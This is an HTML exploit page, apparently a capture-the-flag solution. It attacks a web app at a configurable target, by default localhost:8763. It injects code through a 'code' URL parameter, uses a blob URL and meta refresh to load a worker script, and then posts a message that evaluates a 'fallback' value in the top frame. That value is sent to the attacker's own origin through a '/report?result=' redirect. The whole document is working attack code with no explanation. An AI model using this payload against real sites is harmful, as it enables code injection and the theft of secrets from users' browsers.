exp2.html

<iframe id="orig"></iframe>
<iframe id="f"></iframe>
<script>
		const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
		;(async () => {
			const base = `${location.protocol}//${location.host}`
			const target = new URLSearchParams(location.search).get('target') ?? 'http://localhost:8763'
			orig.src = target
			await sleep(500)
			f.src =
				target +
				'/?code=' +
				encodeURIComponent(`
	(function(){
		with(this) {
			const blob = new Blob(['<h1>peko</h1><script src="${target}/worker.js"><\/script>'], {type: 'text/html'})
			const url = URL.createObjectURL(blob)
			postMessage({ type: 'error', content: 'hello' + '<meta http-equiv="refresh" content="0; url='+url+'">' })
		}
	})()
	`)
			await sleep(2000)
			console.log('posting')
			const canvas = document.createElement('canvas').transferControlToOffscreen()
			f.contentWindow.postMessage(
				{
					type: 'init',
					code: `
	(function(){
		with(this) {
			location = ${JSON.stringify(base)} + '/report?result=' + encodeURIComponent(top[0].eval('fallback'))
			throw new Error("stop")
		}
	})()
	`,
					canvas
				},
				'*',
				[canvas]
			)
		})()
</script>